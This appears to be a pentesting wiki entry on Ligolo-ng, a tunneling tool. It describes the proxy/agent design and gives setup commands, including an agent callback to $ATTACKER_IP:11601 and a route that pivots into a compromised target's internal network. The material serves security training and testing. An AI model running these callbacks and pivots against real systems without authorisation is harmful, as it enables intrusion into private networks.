Ligolo-ng

An advanced yet simple tunneling/pivoting tool that establishes tunnels from a reverse TCP/TLS connection using a TUN interface — eliminating the need for SOCKS proxies and proxychains. Written in Go by Nicolas Chatelain (nicocha30); successor to the original ligolo. Because it presents a real network interface on the attacker host, any tool (nmap, smbclient, RDP clients) can route through it natively without proxy-awareness.

Architecture

• Proxy server (proxy) — runs on the attacker machine; accepts agent connections over TLS (port 11601 by default) and multiplexes multiple agents.
• Agent (agent) — runs on the compromised target; dials back to the proxy and effectively establishes a VPN tunnel into the target’s network.
• The proxy console can dynamically switch which agent’s network the TUN interface routes into, enabling multi-hop pivoting.

Setup

On the attacker machine:

# Create and bring up the TUN interface
sudo ip tuntap add user $USER mode tun ligolo
sudo ip link set ligolo up
 
# Start the proxy (self-signed cert)
./proxy -selfcert

On the target:

./agent -connect $ATTACKER_IP:11601

Back on the attacker machine, after the agent session is established:

# In the ligolo console: select the session, then `start`
# Add a route to the target's internal network
sudo ip route add $TARGET_NETWORK/$TARGET_NETMASK dev ligolo

Traffic to $TARGET_NETWORK now flows through the tunnel — no per-tool proxy configuration required.

When to prefer ligolo-ng over chisel

Need	Tool
Any TCP/UDP/ICMP tool, no proxy support needed	ligolo-ng
Simple SOCKS5 pivot, single port forward, HTTP-transport blending	chisel

Sources

• nicocha30/ligolo-ng — GitHub
• MITRE ATT&CK T1572 — Protocol Tunneling
• MITRE ATT&CK T1090 — Proxy

Related: chisel, ssh, smbclient, ntlm-relay-attacks